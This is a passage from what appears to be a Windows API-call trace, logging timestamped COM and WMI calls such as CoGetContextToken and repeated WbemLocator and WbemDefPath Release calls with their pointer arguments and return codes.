ProviderId=0x26a5870, EnableCallback=0x1b06135c, CallbackContext=0x0, RegHandle=0x26a5850 | out: RegHandle=0x26a5850) returned 0x0 [0105.322] EtwEventRegister (in: ProviderId=0x26a9ff8, EnableCallback=0x1b0613ac, CallbackContext=0x0, RegHandle=0x26a9fd8 | out: RegHandle=0x26a9fd8) returned 0x0 [0106.040] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2f4e60*=0xd8, lpdwindex=0x13e7d4 | out: lpdwindex=0x13e7d4) returned 0x0 [0106.144] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a9548d0*=0x22c, lpdwindex=0x13e4c4 | out: lpdwindex=0x13e4c4) returned 0x0 [0106.244] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2f4e60*=0xd8, lpdwindex=0x13e7d4 | out: lpdwindex=0x13e7d4) returned 0x0 [0109.871] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a954920*=0x24, lpdwindex=0x13e4c4 | out: lpdwindex=0x13e4c4) returned 0x0 [0109.929] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2f4e60*=0xd8, lpdwindex=0x13e7d4) Thread: id = 16 os_tid = 0xe68 Thread: id = 17 os_tid = 0xe6c [0104.022] CoGetContextToken (in: pToken=0x1a92f9d0 | out: pToken=0x1a92f9d0) returned 0x800401f0 [0104.023] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0141.419] CoGetContextToken (in: pToken=0x1a92fa10 | out: pToken=0x1a92fa10) returned 0x0 [0141.419] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.419] WbemLocator:IUnknown:Release (This=0x1a952990) returned 0x1 [0141.419] WbemLocator:IUnknown:Release (This=0x1a952990) returned 0x0 [0141.487] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.488] WbemLocator:IUnknown:Release (This=0x1a9d1500) returned 0x1 [0141.488] WbemLocator:IUnknown:Release (This=0x1a9d1500) returned 0x0 [0141.488] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.488] WbemLocator:IUnknown:Release (This=0x1a9d19a0) returned 0x1 [0141.488] WbemLocator:IUnknown:Release (This=0x1a9d19a0) returned 0x0 [0141.488] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.488] IUnknown:Release (This=0x1a9da500) returned 0x1 [0141.488] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.488] WbemLocator:IUnknown:Release (This=0x1a9ec550) returned 0x1 [0141.488] WbemLocator:IUnknown:Release (This=0x1a9ec550) returned 0x0 [0141.488] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.488] WbemLocator:IUnknown:Release (This=0x1a9e2140) returned 0x1 [0141.488] WbemLocator:IUnknown:Release (This=0x1a9e2140) returned 0x0 [0141.489] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.489] WbemLocator:IUnknown:Release (This=0x1a9ec890) returned 0x1 [0141.489] WbemLocator:IUnknown:Release (This=0x1a9ec890) returned 0x0 [0141.489] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.489] IUnknown:Release (This=0x1a9ed860) returned 0x1 [0141.489] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.489] WbemLocator:IUnknown:Release (This=0x1a9f6330) returned 0x1 [0141.489] WbemLocator:IUnknown:Release (This=0x1a9f6330) returned 0x0 [0141.489] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.489] WbemLocator:IUnknown:Release (This=0x1a9e2fe0) returned 0x1 [0141.489] WbemLocator:IUnknown:Release (This=0x1a9e2fe0) returned 0x0 [0141.490] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.490] WbemLocator:IUnknown:Release (This=0x1aa04180) returned 0x1 [0141.490] WbemLocator:IUnknown:Release (This=0x1aa04180) returned 0x0 [0141.490] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.490] IUnknown:Release (This=0x1aa01960) returned 0x1 [0141.490] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.490] WbemLocator:IUnknown:Release (This=0x1aa0d750) returned 0x1 [0141.490] WbemLocator:IUnknown:Release (This=0x1aa0d750) returned 0x0 [0141.490] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.490] WbemLocator:IUnknown:Release (This=0x1bb801b0) returned 0x1 [0141.490] WbemLocator:IUnknown:Release (This=0x1bb801b0) returned 0x0 [0141.491] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.491] WbemLocator:IUnknown:Release (This=0x1bb833c0) returned 0x1 [0141.491] WbemLocator:IUnknown:Release (This=0x1bb833c0) returned 0x0 [0141.491] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.491] IUnknown:Release (This=0x1bb82fc0) returned 0x1 [0141.491] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.491] WbemLocator:IUnknown:Release (This=0x1bb8b520) returned 0x1 [0141.491] WbemLocator:IUnknown:Release (This=0x1bb8b520) returned 0x0 [0141.491] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.491] WbemLocator:IUnknown:Release (This=0x1bb81050) returned 0x1 [0141.491] WbemLocator:IUnknown:Release (This=0x1bb81050) returned 0x0 [0141.492] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.492] WbemLocator:IUnknown:Release (This=0x1bb8b860) returned 0x1 [0141.492] WbemLocator:IUnknown:Release (This=0x1bb8b860) returned 0x0 [0141.492] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.492] IUnknown:Release (This=0x1bb91500) returned 0x1 [0141.492] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.492] WbemLocator:IUnknown:Release (This=0x1bba6670) returned 0x1 [0141.492] WbemLocator:IUnknown:Release (This=0x1bba6670) returned 0x0 [0141.492] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.492] WbemLocator:IUnknown:Release (This=0x1bb81ef0) returned 0x1 [0141.492] WbemLocator:IUnknown:Release (This=0x1bb81ef0) returned 0x0 [0141.493] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.493] WbemLocator:IUnknown:Release (This=0x1bba69b0) returned 0x1 [0141.493] WbemLocator:IUnknown:Release (This=0x1bba69b0) returned 0x0 [0141.493] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.493] IUnknown:Release (This=0x1bb92630) returned 0x1 [0141.493] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.493] WbemLocator:IUnknown:Release (This=0x1bbb3c30) returned 0x1 [0141.493] WbemLocator:IUnknown:Release (This=0x1bbb3c30) returned 0x0 [0141.493] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.493] WbemLocator:IUnknown:Release (This=0x1bbaaba0) returned 0x1 [0141.493] WbemLocator:IUnknown:Release (This=0x1bbaaba0) returned 0x0 [0141.494] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.494] WbemLocator:IUnknown:Release (This=0x1bbbdee0) returned 0x1 [0141.494] WbemLocator:IUnknown:Release (This=0x1bbbdee0) returned 0x0 [0141.494] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.494] IUnknown:Release (This=0x1bb93760) returned 0x1 [0141.494] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.494] WbemLocator:IUnknown:Release (This=0x1bbbe920) returned 0x1 [0141.494] WbemLocator:IUnknown:Release (This=0x1bbbe920) returned 0x0 [0141.494] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.494] WbemLocator:IUnknown:Release (This=0x1bbaba40) returned 0x1 [0141.495] WbemLocator:IUnknown:Release (This=0x1bbaba40) returned 0x0 [0141.495] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.495] WbemLocator:IUnknown:Release (This=0x1bbbec60) returned 0x1 [0141.495] WbemLocator:IUnknown:Release (This=0x1bbbec60) returned 0x0 [0141.495] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.495] IUnknown:Release (This=0x1bbd32c0) returned 0x1 [0141.495] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.495] WbemLocator:IUnknown:Release (This=0x1bbd89e0) returned 0x1 [0141.495] WbemLocator:IUnknown:Release (This=0x1bbd89e0) returned 0x0 [0141.496] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.496] WbemLocator:IUnknown:Release (This=0x1bbd9b00) returned 0x1 [0141.496] WbemLocator:IUnknown:Release (This=0x1bbd9b00) returned 0x0 [0141.496] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.496] WbemLocator:IUnknown:Release (This=0x1bbd8d20) returned 0x1 [0141.496] WbemLocator:IUnknown:Release (This=0x1bbd8d20) returned 0x0 [0141.496] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.496] IUnknown:Release (This=0x1bbd43f0) returned 0x1 [0141.496] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.496] WbemLocator:IUnknown:Release (This=0x1bbf1880) returned 0x1 [0141.496] WbemLocator:IUnknown:Release (This=0x1bbf1880) returned 0x0 [0141.496] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.497] WbemLocator:IUnknown:Release (This=0x1bbda9a0) returned 0x1 [0141.497] WbemLocator:IUnknown:Release (This=0x1bbda9a0) returned 0x0 [0141.497] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.497] WbemLocator:IUnknown:Release (This=0x1bbf1bc0) returned 0x1 [0141.497] WbemLocator:IUnknown:Release (This=0x1bbf1bc0) returned 0x0 [0141.497] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.497] IUnknown:Release (This=0x1bbd5520) returned 0x1 [0141.497] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.497] WbemLocator:IUnknown:Release (This=0x1bc0ee40) returned 0x1 [0141.497] WbemLocator:IUnknown:Release (This=0x1bc0ee40) returned 0x0 [0141.497] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.498] WbemLocator:IUnknown:Release (This=0x1bc0b180) returned 0x1 [0141.498] WbemLocator:IUnknown:Release (This=0x1bc0b180) returned 0x0 [0141.498] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.498] WbemLocator:IUnknown:Release (This=0x1bc0f180) returned 0x1 [0141.498] WbemLocator:IUnknown:Release (This=0x1bc0f180) returned 0x0 [0141.498] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.498] IUnknown:Release (This=0x1bbd6650) returned 0x1 [0141.498] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.498] WbemLocator:IUnknown:Release (This=0x1bc21f00) returned 0x1 [0141.498] WbemLocator:IUnknown:Release (This=0x1bc21f00) returned 0x0 [0141.498] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.499] WbemLocator:IUnknown:Release (This=0x1bc0c020) returned 0x1 [0141.499] WbemLocator:IUnknown:Release (This=0x1bc0c020) returned 0x0 [0141.499] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.499] WbemLocator:IUnknown:Release (This=0x1bc22240) returned 0x1 [0141.499] WbemLocator:IUnknown:Release (This=0x1bc22240) returned 0x0 [0141.499] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.499] IUnknown:Release (This=0x1bc282f0) returned 0x1 [0141.499] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.499] WbemLocator:IUnknown:Release (This=0x1bc40a20) returned 0x1 [0141.499] WbemLocator:IUnknown:Release (This=0x1bc40a20) returned 0x0 [0141.499] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.499] WbemLocator:IUnknown:Release (This=0x1bc35be0) returned 0x1 [0141.499] WbemLocator:IUnknown:Release (This=0x1bc35be0) returned 0x0 [0141.500] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.500] WbemLocator:IUnknown:Release (This=0x1bc40d60) returned 0x1 [0141.500] WbemLocator:IUnknown:Release (This=0x1bc40d60) returned 0x0 [0141.500] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.500] IUnknown:Release (This=0x1bc29420) returned 0x1 [0141.500] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.500] WbemLocator:IUnknown:Release (This=0x1bc417a0) returned 0x1 [0141.500] WbemLocator:IUnknown:Release (This=0x1bc417a0) returned 0x0 [0141.500] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.500] WbemLocator:IUnknown:Release (This=0x1bc36a80) returned 0x1 [0141.500] WbemLocator:IUnknown:Release (This=0x1bc36a80) returned 0x0 [0141.501] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.501] WbemLocator:IUnknown:Release (This=0x1bc58440) returned 0x1 [0141.501] WbemLocator:IUnknown:Release (This=0x1bc58440) returned 0x0 [0141.501] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.501] IUnknown:Release (This=0x1bc2a550) returned 0x1 [0141.501] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.501] WbemLocator:IUnknown:Release (This=0x1bc58e80) returned 0x1 [0141.501] WbemLocator:IUnknown:Release (This=0x1bc58e80) returned 0x0 [0141.501] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.501] WbemLocator:IUnknown:Release (This=0x1bc64740) returned 0x1 [0141.501] WbemLocator:IUnknown:Release (This=0x1bc64740) returned 0x0 [0141.502] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.502] WbemLocator:IUnknown:Release (This=0x1bc591c0) returned 0x1 [0141.502] WbemLocator:IUnknown:Release (This=0x1bc591c0) returned 0x0 [0141.502] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.502] IUnknown:Release (This=0x1bc2b680) returned 0x1 [0141.502] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.502] WbemLocator:IUnknown:Release (This=0x1bc6fb20) returned 0x1 [0141.502] WbemLocator:IUnknown:Release (This=0x1bc6fb20) returned 0x0 [0141.502] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.502] WbemLocator:IUnknown:Release (This=0x1bc655e0) returned 0x1 [0141.502] WbemLocator:IUnknown:Release (This=0x1bc655e0) returned 0x0 [0141.503] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.503] WbemLocator:IUnknown:Release (This=0x1bc6fe60) returned 0x1 [0141.503] WbemLocator:IUnknown:Release (This=0x1bc6fe60) returned 0x0 [0141.503] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.503] IUnknown:Release (This=0x1bc75f10) returned 0x1 [0141.503] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.503] WbemLocator:IUnknown:Release (This=0x1bc88e10) returned 0x1 [0141.503] WbemLocator:IUnknown:Release (This=0x1bc88e10) returned 0x0 [0141.503] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.503] WbemLocator:IUnknown:Release (This=0x1bc95c50) returned 0x1 [0141.503] WbemLocator:IUnknown:Release (This=0x1bc95c50) returned 0x0 [0141.641] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.641] WbemLocator:IUnknown:Release (This=0x1bc89150) returned 0x1 [0141.641] WbemLocator:IUnknown:Release (This=0x1bc89150) returned 0x0 [0141.641] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.641] IUnknown:Release (This=0x1bc77040) returned 0x1 [0141.641] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.641] WbemLocator:IUnknown:Release (This=0x1bc89b90) returned 0x1 [0141.641] WbemLocator:IUnknown:Release (This=0x1bc89b90) returned 0x0 [0141.641] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.641] WbemLocator:IUnknown:Release (This=0x1bc96af0) returned 0x1 [0141.641] WbemLocator:IUnknown:Release (This=0x1bc96af0) returned 0x0 [0141.643] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.643] WbemLocator:IUnknown:Release (This=0x1bc89ed0) returned 0x1 [0141.643] WbemLocator:IUnknown:Release (This=0x1bc89ed0) returned 0x0 [0141.643] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.643] IUnknown:Release (This=0x1bc78170) returned 0x1 [0141.643] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.643] WbemLocator:IUnknown:Release (This=0x1bcc3760) returned 0x1 [0141.643] WbemLocator:IUnknown:Release (This=0x1bcc3760) returned 0x0 [0141.643] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.643] WbemLocator:IUnknown:Release (This=0x1bc97990) returned 0x1 [0141.643] WbemLocator:IUnknown:Release (This=0x1bc97990) returned 0x0 [0141.644] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.644] WbemLocator:IUnknown:Release (This=0x1bcc3aa0) returned 0x1 [0141.644] WbemLocator:IUnknown:Release (This=0x1bcc3aa0) returned 0x0 [0141.644] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.644] IUnknown:Release (This=0x1aa273f0) returned 0x1 [0141.644] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.644] WbemLocator:IUnknown:Release (This=0x1bcc44e0) returned 0x1 [0141.644] WbemLocator:IUnknown:Release (This=0x1bcc44e0) returned 0x0 [0141.644] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.644] WbemLocator:IUnknown:Release (This=0x1bcc66c0) returned 0x1 [0141.644] WbemLocator:IUnknown:Release (This=0x1bcc66c0) returned 0x0 [0141.645] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.645] WbemLocator:IUnknown:Release (This=0x1bcc4820) returned 0x1 [0141.645] WbemLocator:IUnknown:Release (This=0x1bcc4820) returned 0x0 [0141.645] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.645] IUnknown:Release (This=0x1aa28520) returned 0x1 [0141.645] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.645] WbemLocator:IUnknown:Release (This=0x1bcc5280) returned 0x1 [0141.645] WbemLocator:IUnknown:Release (This=0x1bcc5280) returned 0x0 [0141.645] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.645] WbemLocator:IUnknown:Release (This=0x1bcc7560) returned 0x1 [0141.645] WbemLocator:IUnknown:Release (This=0x1bcc7560) returned 0x0 [0141.646] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.646] WbemLocator:IUnknown:Release (This=0x1bce5be0) returned 0x1 [0141.646] WbemLocator:IUnknown:Release (This=0x1bce5be0) returned 0x0 [0141.646] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.646] IUnknown:Release (This=0x1aa29650) returned 0x1 [0141.646] CoGetContextToken (in: pToken=0x1a92fa10 | out: pToken=0x1a92fa10) returned 0x0 [0141.646] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.646] WbemDefPath:IUnknown:Release (This=0x1a97fa90) returned 0x1 [0141.646] WbemDefPath:IUnknown:Release (This=0x1a97fa90) returned 0x0 [0141.646] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.646] WbemDefPath:IUnknown:Release (This=0x1a97f790) returned 0x1 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a97f790) returned 0x0 [0141.647] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a97f250) returned 0x1 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a97f250) returned 0x0 [0141.647] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a97fb50) returned 0x1 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a97fb50) returned 0x0 [0141.647] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a97fcd0) returned 0x1 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a97fcd0) returned 0x0 [0141.647] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a97fd90) returned 0x1 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a97fd90) returned 0x0 [0141.647] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a97fe50) returned 0x1 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a97fe50) returned 0x0 [0141.647] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a97ff10) returned 0x1 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a97ff10) returned 0x0 [0141.647] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a980090) returned 0x1 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a980090) returned 0x0 [0141.647] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a980150) returned 0x1 [0141.647] WbemDefPath:IUnknown:Release (This=0x1a980150) returned 0x0 [0141.648] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a980210) returned 0x1 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a980210) returned 0x0 [0141.648] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a9802d0) returned 0x1 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a9802d0) returned 0x0 [0141.648] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a980390) returned 0x1 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a980390) returned 0x0 [0141.648] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a980510) returned 0x1 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a980510) returned 0x0 [0141.648] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a9805d0) returned 0x1 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a9805d0) returned 0x0 [0141.648] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a980690) returned 0x1 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a980690) returned 0x0 [0141.648] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a980750) returned 0x1 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a980750) returned 0x0 [0141.648] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a9808d0) returned 0x1 [0141.648] WbemDefPath:IUnknown:Release (This=0x1a9808d0) returned 0x0 [0141.648] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.649] WbemDefPath:IUnknown:Release (This=0x1a980990) returned 0x1 [0141.649] WbemDefPath:IUnknown:Release (This=0x1a980990) returned 0x0 [0141.649] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.649] WbemDefPath:IUnknown:Release (This=0x1a980a50) returned 0x1 [0141.649] WbemDefPath:IUnknown:Release (This=0x1a980a50) returned 0x0 [0141.649] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.649] WbemDefPath:IUnknown:Release (This=0x1a980b10) returned 0x1 [0141.649] WbemDefPath:IUnknown:Release (This=0x1a980b10) returned 0x0 [0141.649] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.649] WbemDefPath:IUnknown:Release (This=0x1a980bd0) returned 0x1 [0141.649] WbemDefPath:IUnknown:Release (This=0x1a980bd0) returned 0x0 [0141.649] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.649] WbemDefPath:IUnknown:Release (This=0x1a980d50) returned 0x1 [0141.649] WbemDefPath:IUnknown:Release (This=0x1a980d50) returned 0x0 [0141.649] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.649] WbemDefPath:IUnknown:Release (This=0x1a980e10) returned 0x1 [0141.649] WbemDefPath:IUnknown:Release (This=0x1a980e10) returned 0x0 [0141.649] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.649] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x1 [0141.649] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x0 [0141.649] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.649] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x1 [0141.649] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x0 [0141.649] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.649] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x1 [0141.649] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x0 [0141.650] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x1 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x0 [0141.650] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0a650) returned 0x1 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0a650) returned 0x0 [0141.650] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0a710) returned 0x1 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0a710) returned 0x0 [0141.650] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 